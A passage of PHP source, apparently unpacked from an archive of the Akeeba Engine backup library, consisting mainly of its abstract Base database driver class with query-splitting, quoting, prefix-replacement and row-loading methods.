	 * @return  Base  Returns this object to support chaining.
	 */
	public function unlockTables()
	{
		return $this;
	}

	/**
	 * Method to fetch a row from the result set cursor as an array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchArray($cursor = null)
	{
		return false;
	}

	/**
	 * Method to fetch a row from the result set cursor as an object.
	 *
	 * @param   mixed   $cursor  The optional result set cursor from which to fetch the row.
	 * @param   string  $class   The class name to use for the returned row object.
	 *
	 * @return  mixed   Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchObject($cursor = null, $class = 'stdClass')
	{
		return false;
	}
}
PK     \    +  vendor/akeeba/engine/engine/Driver/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Base as QueryBase;
use RuntimeException;

/**
 * Database driver superclass. Used as the base of all Akeeba Engine database drivers.
 * Strongly based on Joomla Platform's JDatabase class.
 *
 * @method qn(string $name, string $as = null)  Alias for quoteName
 * @method q(string $text, bool $escape = true)  Alias for quote
 */
#[\AllowDynamicProperties]
abstract class Base
{
	/** @var    string  The minimum supported database version. */
	protected static $dbMinimum;

	/** @var    array  JDatabaseDriver instances container. */
	protected static $instances = [];

	/** @var string The name of the database driver. */
	public $name;

	/** @var string The name of the database. */
	protected $_database;

	/** @var resource The db connection resource */
	protected $connection = '';

	/** @var    integer  The number of SQL statements executed by the database driver. */
	protected $count = 0;

	/** @var resource The database connection cursor from the last query. */
	protected $cursor;

	/** @var    boolean  The database driver debugging state. */
	protected $debug = false;

	/** @var string Driver type. This should always be mysql as we don't support anything else anymore. */
	protected $driverType = '';

	/** @var string The db server's error string */
	protected $errorMsg = '';

	/** @var int The db server's error number */
	protected $errorNum = 0;

	/** @var int Query's limit */
	protected $limit = 0;

	/** @var    array  The log of executed SQL statements by the database driver. */
	protected $log = [];

	/** @var string Quote for named objects */
	protected $nameQuote = '';

	/** @var string  The null or zero representation of a timestamp for the database driver. */
	protected $nullDate;

	/** @var int Query's offset */
	protected $offset = 0;

	/** @var    array  Passed in upon instantiation and saved. */
	protected $options;

	/** @var mixed The SQL query string */
	protected $sql = '';

	/** @var string The prefix used in the database, if any */
	protected $tablePrefix = '';

	/** @var bool Support for UTF-8 */
	protected $utf = true;

	/**
	 * Database object constructor
	 *
	 * @param   array  $options  List of options used to configure the connection
	 */
	public function __construct($options)
	{
		$prefix     = array_key_exists('prefix', $options) ? $options['prefix'] : '';
		$database   = array_key_exists('database', $options) ? $options['database'] : '';
		$connection = array_key_exists('connection', $options) ? $options['connection'] : null;

		$this->tablePrefix = $prefix;
		$this->_database   = $database;
		$this->connection  = $connection;
		$this->errorNum    = 0;
		$this->count       = 0;
		$this->log         = [];
		$this->options     = $options;
	}

	/**
	 * Is this driver class supported on this server? Child classes are supposed to override this and perform a
	 * compatibility check.
	 *
	 * @return  bool  True if the driver class is supported on the server
	 */
	public static function isSupported()
	{
		return false;
	}

	/**
	 * Splits a string of multiple queries into an array of individual queries.
	 *
	 * @param   string  $query  Input SQL string with which to split into individual queries.
	 *
	 * @return  array  The queries from the input string separated into an array.
	 */
	public static function splitSql($query)
	{
		$start   = 0;
		$open    = false;
		$char    = '';
		$end     = strlen($query);
		$queries = [];

		for ($i = 0; $i < $end; $i++)
		{
			$current = substr($query, $i, 1);
			if (($current == '"' || $current == '\''))
			{
				$n = 2;

				while (substr($query, $i - $n + 1, 1) == '\\' && $n < $i)
				{
					$n++;
				}

				if ($n % 2 == 0)
				{
					if ($open)
					{
						if ($current == $char)
						{
							$open = false;
							$char = '';
						}
					}
					else
					{
						$open = true;
						$char = $current;
					}
				}
			}

			if (($current == ';' && !$open) || $i == $end - 1)
			{
				$queries[] = substr($query, $start, ($i - $start + 1));
				$start     = $i + 1;
			}
		}

		return $queries;
	}

	/**
	 * Is this driver supported under the current system configuration?
	 *
	 * @return bool
	 */
	public static function test()
	{
		return self::isSupported();
	}

	/**
	 * Magic method to provide method alias support for quote() and quoteName().
	 *
	 * @param   string  $method  The called method.
	 * @param   array   $args    The array of arguments passed to the method.
	 *
	 * @return  string  The aliased method's return value or null.
	 */
	public function __call($method, $args)
	{
		if (empty($args))
		{
			return null;
		}

		switch ($method)
		{
			case 'q':
				return $this->quote($args[0], $args[1] ?? true);
				break;
			case 'nq':
			case 'qn':
				return $this->quoteName($args[0]);
				break;
		}

		return null;
	}

	/**
	 * Database object destructor
	 *
	 * @return bool
	 */
	public function __destruct()
	{
		return $this->close();
	}

	public function __wakeup()
	{
		$this->open();
	}

	/**
	 * By default, when the object is shutting down, the connection is closed
	 */
	public function _onSerialize()
	{
		$this->close();
	}

	/**
	 * Alter database's character set, obtaining query string from protected member.
	 *
	 * @param   string  $dbName  The database name that will be altered
	 *
	 * @return  string  The query that alter the database query string
	 *
	 * @throws  RuntimeException
	 */
	public function alterDbCharacterSet($dbName)
	{
		if (is_null($dbName))
		{
			throw new RuntimeException('Database name must not be null.');
		}

		$this->setQuery($this->getAlterDbCharacterSet($dbName));

		return $this->execute();
	}

	/**
	 * Closes the database connection
	 */
	abstract public function close();

	/**
	 * Determines if the connection to the server is active.
	 *
	 * @return  boolean  True if connected to the database engine.
	 */
	abstract public function connected();

	/**
	 * Create a new database using information from $options object, obtaining query string
	 * from protected member.
	 *
	 * @param   object   $options         Object used to pass user and database name to database driver.
	 *                                    This object must have "db_name" and "db_user" set.
	 * @param   boolean  $utf             True if the database supports the UTF-8 character set.
	 *
	 * @return  string  The query that creates database
	 *
	 * @throws  RuntimeException
	 */
	public function createDatabase($options, $utf = true)
	{
		if (is_null($options))
		{
			throw new RuntimeException('$options object must not be null.');
		}
		elseif (empty($options->db_name))
		{
			throw new RuntimeException('$options object must have db_name set.');
		}
		elseif (empty($options->db_user))
		{
			throw new RuntimeException('$options object must have db_user set.');
		}

		$this->setQuery($this->getCreateDatabaseQuery($options, $utf));

		return $this->execute();
	}

	/**
	 * Drops a table from the database.
	 *
	 * @param   string   $table     The name of the database table to drop.
	 * @param   boolean  $ifExists  Optionally specify that the table must exist before it is dropped.
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public abstract function dropTable($table, $ifExists = true);

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string   The escaped string.
	 */
	abstract public function escape($text, $extra = false);

	/**
	 * An alias for query()
	 *
	 * @return  mixed  A database cursor resource on success, boolean false on failure.
	 */
	public function execute()
	{
		return $this->query();
	}

	/**
	 * Method to fetch a row from the result set cursor as an associative array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	abstract public function fetchAssoc($cursor = null);

	/**
	 * Method to free up the memory used for the result set.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  void
	 */
	abstract public function freeResult($cursor = null);

	/**
	 * Returns the abstracted name of a database object
	 *
	 * @param   string  $tableName
	 *
	 * @return  string
	 */
	public function getAbstract($tableName)
	{
		$prefix = $this->getPrefix();

		// Don't return abstract names for non-CMS tables
		if (is_null($prefix))
		{
			return $tableName;
		}

		switch ($prefix)
		{
			case '':
				// This is more of a hack; it assumes all tables are CMS tables if the prefix is empty.
				return '#__' . $tableName;
				break;

			default:
				// Normal behaviour for 99% of sites
				$tableAbstract = $tableName;
				if (!empty($prefix))
				{
					if (substr($tableName, 0, strlen($prefix)) == $prefix)
					{
						$tableAbstract = '#__' . substr($tableName, strlen($prefix));
					}
					else
					{
						$tableAbstract = $tableName;
					}
				}

				return $tableAbstract;
				break;
		}
	}

	/**
	 * Get the number of affected rows for the previous executed SQL statement.
	 *
	 * @return  integer  The number of affected rows.
	 */
	abstract public function getAffectedRows();

	/**
	 * Method to get the database collation in use by sampling a text field of a table in the database.
	 *
	 * @return  mixed  The collation in use by the database or boolean false if not supported.
	 */
	abstract public function getCollation();

	/**
	 * Method that provides access to the underlying database connection.
	 *
	 * @return  resource  The underlying database connection resource.
	 */
	public function getConnection()
	{
		return $this->connection;
	}

	/**
	 * Inherits the connection of another database driver. Useful for cloning
	 * the CMS database connection into an Akeeba Engine database driver.
	 *
	 * @param   resource  $connection
	 */
	public function setConnection($connection)
	{
		$this->connection = $connection;
	}

	/**
	 * Get the total number of SQL statements executed by the database driver.
	 *
	 * @return  integer
	 *
	 * @since   11.1
	 */
	public function getCount()
	{
		return $this->count;
	}

	/**
	 * Returns a PHP date() function compliant date format for the database driver.
	 *
	 * @return  string  The format string.
	 */
	public function getDateFormat()
	{
		return 'Y-m-d H:i:s';
	}

	/**
	 * Return the database driver type, e.g. "mysql" for all drivers which can talk to MySQL
	 *
	 * @return string
	 */
	public function getDriverType()
	{
		return $this->driverType;
	}

	/**
	 * Get the error message
	 *
	 * @return string The error message for the most recent query
	 */
	public function getErrorMsg($escaped = false)
	{
		if ($escaped)
		{
			return addslashes($this->errorMsg);
		}
		else
		{
			return $this->errorMsg;
		}
	}

	/**
	 * Get the error number
	 *
	 * @return int The error number for the most recent query
	 */
	public function getErrorNum()
	{
		return $this->errorNum;
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 */
	public function getEscaped($text, $extra = false)
	{
		return $this->escape($text, $extra);
	}

	/**
	 * Get the database driver SQL statement log.
	 *
	 * @return  array  SQL statements executed by the database driver.
	 *
	 * @since   11.1
	 */
	public function getLog()
	{
		return $this->log;
	}

	/**
	 * Get the minimum supported database version.
	 *
	 * @return  string  The minimum version number for the database driver.
	 *
	 * @since   12.1
	 */
	public function getMinimum()
	{
		return static::$dbMinimum;
	}

	/**
	 * Get the null or zero representation of a timestamp for the database driver.
	 *
	 * @return  string  Null or zero representation of a timestamp.
	 */
	public function getNullDate()
	{
		return $this->nullDate;
	}

	/**
	 * Get the number of returned rows for the previous executed SQL statement.
	 *
	 * @param   resource  $cursor  An optional database cursor resource to extract the row count from.
	 *
	 * @return  integer   The number of returned rows.
	 */
	abstract public function getNumRows($cursor = null);

	/**
	 * Get the database table prefix
	 *
	 * @return string The database prefix
	 */
	public function getPrefix()
	{
		return $this->tablePrefix;
	}

	/**
	 * Get the current query object or a new QueryBase object.
	 *
	 * @param   boolean  $new  False to return the current query object, True to return a new QueryBase object.
	 *
	 * @return  QueryBase  The current query object or a new object extending the QueryBase class.
	 */
	abstract public function getQuery($new = false);

	/**
	 * Create a new QueryBase object.
	 *
	 * @return  QueryBase  The current query object or a new object extending the QueryBase class.
	 */
	abstract public function createQuery();

	/**
	 * Retrieves field information about the given tables.
	 *
	 * @param   string   $table     The name of the database table.
	 * @param   boolean  $typeOnly  True (default) to only return field types.
	 *
	 * @return  array  An array of fields by table.
	 */
	abstract public function getTableColumns($table, $typeOnly = true);

	/**
	 * Shows the table CREATE statement that creates the given tables.
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  A list of the create SQL for the tables.
	 */
	abstract public function getTableCreate($tables);

	/**
	 * Retrieves field information about the given tables.
	 *
	 * @param   mixed    $tables    A table name or a list of table names.
	 * @param   boolean  $typeOnly  True to only return field types.
	 *
	 * @return  array  An array of fields by table.
	 */
	public function getTableFields($tables, $typeOnly = true)
	{
		$results = [];

		$tables = (array) $tables;

		foreach ($tables as $table)
		{
			$results[$table] = $this->getTableColumns($table, $typeOnly);
		}

		return $results;
	}

	/**
	 * Retrieves field information about the given tables.
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  An array of keys for the table(s).
	 */
	abstract public function getTableKeys($tables);

	/**
	 * Method to get an array of all tables in the database.
	 *
	 * @return  array  An array of all the tables in the database.
	 */
	abstract public function getTableList();

	/**
	 * Returns an array with the names of tables, views, procedures, functions and triggers
	 * in the database. The table names are the keys of the tables, whereas the value is
	 * the type of each element: table, view, merge, temp, procedure, function or trigger.
	 * Note that merge are MRG_MYISAM tables and temp is non-permanent data table, usually
	 * set up as temporary, black hole or federated tables. These two types should never,
	 * ever, have their data dumped in the SQL dump file.
	 *
	 * @param   bool  $abstract  Return abstract or normal names? Defaults to true (abstract names)
	 *
	 * @return  array
	 */
	abstract public function getTables($abstract = true);

	/**
	 * Determine whether or not the database engine supports UTF-8 character encoding.
	 *
	 * @return  boolean  True if the database engine supports UTF-8 character encoding.
	 */
	public function getUTFSupport()
	{
		return $this->utf;
	}

	/**
	 * Get the version of the database connector
	 *
	 * @return  string  The database connector version.
	 */
	abstract public function getVersion();

	/**
	 * Determines if the database engine supports UTF-8 character encoding.
	 *
	 * @return  boolean  True if supported.
	 */
	public function hasUTF()
	{
		return $this->utf;
	}

	/**
	 * Determine whether or not the database engine supports UTF-8 character encoding.
	 *
	 * @return  boolean  True if the database engine supports UTF-8 character encoding.
	 */
	public function hasUTFSupport()
	{
		return $this->utf;
	}

	/**
	 * Inserts a row into a table based on an object's properties.
	 *
	 * @param   string  $table   The name of the database table to insert into.
	 * @param   object &$object  A reference to an object whose public properties match the table fields.
	 * @param   string  $key     The name of the primary key. If provided the object property is updated.
	 *
	 * @return  boolean    True on success.
	 */
	public function insertObject($table, &$object, $key = null)
	{
		$fields = [];
		$values = [];

		// Iterate over the object variables to build the query fields and values.
		foreach (get_object_vars($object) as $k => $v)
		{
			// Only process non-null scalars.
			if (is_array($v) || is_object($v) || ($v === null))
			{
				continue;
			}

			// Ignore any internal fields.
			if ($k[0] == '_')
			{
				continue;
			}

			// Prepare and sanitize the fields and values for the database query.
			$fields[] = $this->quoteName($k);
			$values[] = $this->quote($v);
		}

		// Create the base insert statement.
		$query = $this->getQuery(true)
			->insert($this->quoteName($table))
			->columns($fields)
			->values(implode(',', $values));

		// Set the query and execute the insert.
		$this->setQuery($query);
		if (!$this->execute())
		{
			return false;
		}

		// Update the primary key if it exists.
		$id = $this->insertid();
		if ($key && $id && is_string($key))
		{
			$object->$key = $id;
		}

		return true;
	}

	/**
	 * Method to get the auto-incremented value from the last INSERT statement.
	 *
	 * @return  integer  The value of the auto-increment field from the last inserted row.
	 */
	abstract public function insertid();

	/**
	 * Method to check whether the installed database version is supported by the database driver
	 *
	 * @return  boolean  True if the database version is supported
	 *
	 * @since   12.1
	 */
	public function isMinimumVersion()
	{
		return version_compare($this->getVersion(), static::$dbMinimum) >= 0;
	}

	/**
	 * Method to get the first row of the result set from the database query as an associative array
	 * of ['field_name' => 'row_value'].
	 *
	 * @return  mixed  The return value or null if the query failed.
	 */
	public function loadAssoc()
	{
		$ret = null;

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get the first row from the result set as an associative array.
		if ($array = $this->fetchAssoc($cursor))
		{
			$ret = $array;
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $ret;
	}

	/**
	 * Method to get an array of the result set rows from the database query where each row is an associative array
	 * of ['field_name' => 'row_value'].  The array of rows can optionally be keyed by a field name, but defaults to
	 * a sequential numeric array.
	 *
	 * NOTE: Chosing to key the result array by a non-unique field name can result in unwanted
	 * behavior and should be avoided.
	 *
	 * @param   string  $key     The name of a field on which to key the result array.
	 * @param   string  $column  An optional column name. Instead of the whole row, only this column value will be in
	 *                           the result array.
	 *
	 * @return  mixed   The return value or null if the query failed.
	 */
	public function loadAssocList($key = null, $column = null)
	{
		$array = [];

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get all of the rows from the result set.
		while ($row = $this->fetchAssoc($cursor))
		{
			$value = ($column) ? ($row[$column] ?? $row) : $row;
			if ($key)
			{
				$array[$row[$key]] = $value;
			}
			else
			{
				$array[] = $value;
			}
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $array;
	}

	/**
	 * Method to get an array of values from the <var>$offset</var> field in each row of the result set from
	 * the database query.
	 *
	 * @param   integer  $offset  The row offset to use to build the result array.
	 *
	 * @return  mixed    The return value or null if the query failed.
	 */
	public function loadColumn($offset = 0)
	{
		$array = [];

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get all of the rows from the result set as arrays.
		while ($row = $this->fetchArray($cursor))
		{
			$array[] = $row[$offset];
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $array;
	}

	/**
	 * Method to get the next row in the result set from the database query as an object.
	 *
	 * @param   string  $class  The class name to use for the returned row object.
	 *
	 * @return  mixed   The result of the query as an array, false if there are no more rows.
	 */
	public function loadNextObject($class = 'stdClass')
	{
		// Execute the query and get the result set cursor.
		if (is_null($this->cursor))
		{
			if (!($this->cursor = $this->execute()))
			{
				return $this->errorNum ? null : false;
			}
		}

		// Get the next row from the result set as an object of type $class.
		if ($row = $this->fetchObject($this->cursor, $class))
		{
			return $row;
		}

		// Free up system resources and return.
		$this->freeResult($this->cursor);
		$this->cursor = null;

		return false;
	}

	/**
	 * Method to get the next row in the result set from the database query as an array.
	 *
	 * @return  mixed  The result of the query as an array, false if there are no more rows.
	 */
	public function loadNextRow()
	{
		// Execute the query and get the result set cursor.
		if (is_null($this->cursor))
		{
			if (!($this->cursor = $this->execute()))
			{
				return $this->errorNum ? null : false;
			}
		}

		// Get the next row from the result set as an object of type $class.
		if ($row = $this->fetchArray($this->cursor))
		{
			return $row;
		}

		// Free up system resources and return.
		$this->freeResult($this->cursor);
		$this->cursor = null;

		return false;
	}

	/**
	 * Method to get the first row of the result set from the database query as an object.
	 *
	 * @param   string  $class  The class name to use for the returned row object.
	 *
	 * @return  mixed   The return value or null if the query failed.
	 */
	public function loadObject($class = 'stdClass')
	{
		$ret = null;

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get the first row from the result set as an object of type $class.
		if ($object = $this->fetchObject($cursor, $class))
		{
			$ret = $object;
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $ret;
	}

	/**
	 * Method to get an array of the result set rows from the database query where each row is an object.  The array
	 * of objects can optionally be keyed by a field name, but defaults to a sequential numeric array.
	 *
	 * NOTE: Choosing to key the result array by a non-unique field name can result in unwanted
	 * behavior and should be avoided.
	 *
	 * @param   string  $key    The name of a field on which to key the result array.
	 * @param   string  $class  The class name to use for the returned row objects.
	 *
	 * @return  mixed   The return value or null if the query failed.
	 */
	public function loadObjectList($key = '', $class = 'stdClass')
	{
		$array = [];

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get all of the rows from the result set as objects of type $class.
		while ($row = $this->fetchObject($cursor, $class))
		{
			if ($key)
			{
				$array[$row->$key] = $row;
			}
			else
			{
				$array[] = $row;
			}
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $array;
	}

	/**
	 * Method to get the first field of the first row of the result set from the database query.
	 *
	 * @return  mixed  The return value or null if the query failed.
	 */
	public function loadResult()
	{
		$ret = null;

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get the first row from the result set as an array.
		if ($row = $this->fetchArray($cursor))
		{
			$ret = $row[0];
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $ret;
	}

	/**
	 * Method to get an array of values from the <var>$offset</var> field in each row of the result set from
	 * the database query.
	 *
	 * @param   integer  $offset  The row offset to use to build the result array.
	 *
	 * @return  mixed    The return value or null if the query failed.
	 */
	public function loadResultArray($offset = 0)
	{
		return $this->loadColumn($offset);
	}

	/**
	 * Method to get the first row of the result set from the database query as an array.  Columns are indexed
	 * numerically so the first column in the result set would be accessible via <var>$row[0]</var>, etc.
	 *
	 * @return  mixed  The return value or null if the query failed.
	 */
	public function loadRow()
	{
		$ret = null;

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get the first row from the result set as an array.
		if ($row = $this->fetchArray($cursor))
		{
			$ret = $row;
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $ret;
	}

	/**
	 * Method to get an array of the result set rows from the database query where each row is an array.  The array
	 * of objects can optionally be keyed by a field offset, but defaults to a sequential numeric array.
	 *
	 * NOTE: Choosing to key the result array by a non-unique field can result in unwanted
	 * behavior and should be avoided.
	 *
	 * @param   string  $key  The name of a field on which to key the result array.
	 *
	 * @return  mixed   The return value or null if the query failed.
	 */
	public function loadRowList($key = null)
	{
		$array = [];

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get all of the rows from the result set as arrays.
		while ($row = $this->fetchArray($cursor))
		{
			if ($key !== null)
			{
				$array[$row[$key]] = $row;
			}
			else
			{
				$array[] = $row;
			}
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $array;
	}

	/**
	 * Locks a table in the database.
	 *
	 * @param   string  $tableName  The name of the table to unlock.
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public abstract function lockTable($tableName);

	/**
	 * Wrap an SQL statement identifier name such as column, table or database names in quotes to prevent injection
	 * risks and reserved word conflicts.
	 *
	 * @param   string  $name  The identifier name to wrap in quotes.
	 *
	 * @return  string  The quote wrapped name.
	 */
	public function nameQuote($name)
	{
		return $this->quoteName($name);
	}

	/**
	 * Opens a database connection. It MUST be overriden by children classes
	 *
	 * @return Base
	 */
	public function open()
	{
		// Don't try to reconnect if we're already connected
		if (is_resource($this->connection) && !is_null($this->connection))
		{
			return $this;
		}

		// Determine utf-8 support
		$this->utf = $this->hasUTF();

		// Set charactersets (needed for MySQL 4.1.2+)
		if ($this->utf)
		{
			$this->setUTF();
		}

		// Select the current database
		$this->select($this->_database);

		return $this;
	}

	/**
	 * Execute the SQL statement.
	 *
	 * @return  mixed  A database cursor resource on success, boolean false on failure.
	 */
	abstract public function query();

	/**
	 * Method to quote and optionally escape a string to database requirements for insertion into the database.
	 *
	 * @param   string   $text    The string to quote.
	 * @param   boolean  $escape  True (default) to escape the string, false to leave it unchanged.
	 */
	public function quote($text, $escape = true)
	{
		return '\'' . ($escape ? $this->escape($text) : $text) . '\'';
	}

	/**
	 * Wrap an SQL statement identifier name such as column, table or database names in quotes to prevent injection
	 * risks and reserved word conflicts.
	 *
	 * @param   mixed  $name      The identifier name to wrap in quotes, or an array of identifier names to wrap in
	 *                            quotes. Each type supports dot-notation name.
	 * @param   mixed  $as        The AS query part associated to $name. It can be string or array, in latter case it
	 *                            has to be same length of $name; if is null there will not be any AS part for string
	 *                            or array element.
	 */
	public function quoteName($name, $as = null)
	{
		if (!is_array($name))
		{
			$quotedName = $this->quoteNameStr(explode('.', $name));

			$quotedAs = '';
			if (!is_null($as))
			{
				$as       = (array) $as;
				$quotedAs .= ' AS ' . $this->quoteNameStr($as);
			}

			return $quotedName . $quotedAs;
		}
		else
		{
			$fin = [];

			if (is_null($as))
			{
				foreach ($name as $str)
				{
					$fin[] = $this->quoteName($str);
				}
			}
			elseif (is_array($name) && (count($name) == (is_array($as) || $as instanceof \Countable ? count($as) : 0)))
			{
				$count = count($name);
				for ($i = 0; $i < $count; $i++)
				{
					$fin[] = $this->quoteName($name[$i], $as[$i]);
				}
			}

			return $fin;
		}
	}

	/**
	 * Quote a value as a hex string.
	 *
	 * @param   string  $text  The value to quote as hex.
	 *
	 * @return  string  The hex-quoted value.
	 * @since   10.3
	 */
	public function quoteHex(string $text): string
	{
		return "x'" . bin2hex($text) . "'";
	}

	/**
	 * Renames a table in the database.
	 *
	 * @param   string  $oldTable  The name of the table to be renamed
	 * @param   string  $newTable  The new name for the table.
	 * @param   string  $backup    Table prefix
	 * @param   string  $prefix    For the table - used to rename constraints in non-mysql databases
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public abstract function renameTable($oldTable, $newTable, $backup = null, $prefix = null);

	/**
	 * This function replaces a string identifier <var>$prefix</var> with the string held is the
	 * <var>tablePrefix</var> class variable.
	 *
	 * @param   string  $query   The SQL statement to prepare.
	 * @param   string  $prefix  The common table prefix.
	 *
	 * @return  string  The processed SQL statement.
	 */
	public function replacePrefix($query, $prefix = '#__')
	{
		$escaped   = false;
		$startPos  = 0;
		$quoteChar = '';
		$literal   = '';

		$query = trim($query);
		$n     = strlen($query);

		while ($startPos < $n)
		{
			$ip = strpos($query, $prefix, $startPos);
			if ($ip === false)
			{
				break;
			}

			$j = strpos($query, "'", $startPos);
			$k = strpos($query, '"', $startPos);
			if (($k !== false) && (($k < $j) || ($j === false)))
			{
				$quoteChar = '"';
				$j         = $k;
			}
			else
			{
				$quoteChar = "'";
			}

			if ($j === false)
			{
				$j = $n;
			}

			$literal  .= str_replace($prefix, $this->tablePrefix, substr($query, $startPos, $j - $startPos));
			$startPos = $j;

			$j = $startPos + 1;

			if ($j >= $n)
			{
				break;
			}

			// Quote comes first, find end of quote
			while (true)
			{
				$k       = strpos($query, $quoteChar, $j);
				$escaped = false;
				if ($k === false)
				{
					break;
				}
				$l = $k - 1;
				while ($l >= 0 && $query[$l] == '\\')
				{
					$l--;
					$escaped = !$escaped;
				}
				if ($escaped)
				{
					$j = $k + 1;
					continue;
				}
				break;
			}
			if ($k === false)
			{
				// Error in the query - no end quote; ignore it
				break;
			}
			$literal  .= substr($query, $startPos, $k - $startPos + 1);
			$startPos = $k + 1;
		}
		if ($startPos < $n)
		{
			$literal .= substr($query, $startPos, $n - $startPos);
		}

		return $literal;
	}

	/**
	 * Resets the error condition in the driver. Useful to reset the error state after handling a thrown exception.
	 *
	 * @return $this for chaining
	 */
	public function resetErrors()
	{
		$this->errorNum = 0;
		$this->errorMsg = '';

		return $this;
	}

	/**
	 * Select a database for use.
	 *
	 * @param   string  $database  The name of the database to select for use.
	 *
	 * @return  boolean  True if the database was successfully selected.
	 */
	abstract public function select($database);

	/**
	 * Sets the database debugging state for the driver.
	 *
	 * @param   boolean  $level  True to enable debugging.
	 *
	 * @return  boolean  The old debugging level.
	 */
	public function setDebug($level)
	{
		$previous    = $this->debug;
		$this->debug = (bool) $level;

		return $previous;
	}

	/**
	 * Sets the SQL statement string for later execution.
	 *
	 * @param   mixed    $query   The SQL statement to set either as a QueryBase object or a string.
	 * @param   integer  $offset  The affected row offset to set.
	 * @param   integer  $limit   The maximum affected rows to set.
	 *
	 * @return  self  This object to support method chaining.
	 */
	public function setQuery($query, $offset = 0, $limit = 0)
	{
		$this->sql    = $query;
		$this->limit  = (int) $limit;
		$this->offset = (int) $offset;

		return $this;
	}

	/**
	 * Set the connection to use UTF-8 character encoding.
	 *
	 * @return  boolean  True on success.
	 */
	abstract public function setUTF();

	/**
	 * Method to commit a transaction.
	 *
	 * @return  void
	 */
	abstract public function transactionCommit();

	/**
	 * Method to roll back a transaction.
	 *
	 * @return  void
	 */
	abstract public function transactionRollback();

	/**
	 * Method to initialize a transaction.
	 *
	 * @return  void
	 */
	abstract public function transactionStart();

	/**
	 * Method to truncate a table.
	 *
	 * @param   string  $table  The table to truncate
	 *
	 * @return  void
	 */
	public function truncateTable($table)
	{
		$this->setQuery('TRUNCATE TABLE ' . $this->quoteName($table));
		$this->query();
	}

	/**
	 * Unlocks tables in the database.
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public abstract function unlockTables();

	/**
	 * Updates a row in a table based on an object's properties.
	 *
	 * @param   string   $table   The name of the database table to update.
	 * @param   object  &$object  A reference to an object whose public properties match the table fields.
	 * @param   string   $key     The name of the primary key.
	 * @param   boolean  $nulls   True to update null fields or false to ignore them.
	 *
	 * @return  boolean  True on success.
	 */
	public function updateObject($table, &$object, $key, $nulls = false)
	{
		$fields = [];
		$where  = [];

		if (is_string($key))
		{
			$key = [$key];
		}

		if (is_object($key))
		{
			$key = (array) $key;
		}

		// Create the base update statement.
		$statement = 'UPDATE ' . $this->quoteName($table) . ' SET %s WHERE %s';

		// Iterate over the object variables to build the query fields/value pairs.
		foreach (get_object_vars($object) as $k => $v)
		{
			// Only process scalars that are not internal fields.
			if (is_array($v) || is_object($v) || ($k[0] == '_'))
			{
				continue;
			}

			// Set the primary key to the WHERE clause instead of a field to update.
			if (in_array($k, $key))
			{
				$where[] = $this->quoteName($k) . '=' . $this->quote($v);
				continue;
			}

			// Prepare and sanitize the fields and values for the database query.
			if ($v === null)
			{
				// If the value is null and we want to update nulls then set it.
				if ($nulls)
				{
					$val = 'NULL';
				}
				// If the value is null and we do not want to update nulls then ignore this field.
				else
				{
					continue;
				}
			}
			// The field is not null so we prep it for update.
			else
			{
				$val = $this->quote($v);
			}

			// Add the field to be updated.
			$fields[] = $this->quoteName($k) . '=' . $val;
		}

		// We don't have any fields to update.
		if (empty($fields))
		{
			return true;
		}

		// Set the query and execute the update.
		$this->setQuery(sprintf($statement, implode(",", $fields), implode(' AND ', $where)));

		return $this->execute();
	}

	/**
	 * Method to fetch a row from the result set cursor as an array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	abstract protected function fetchArray($cursor = null);

	/**
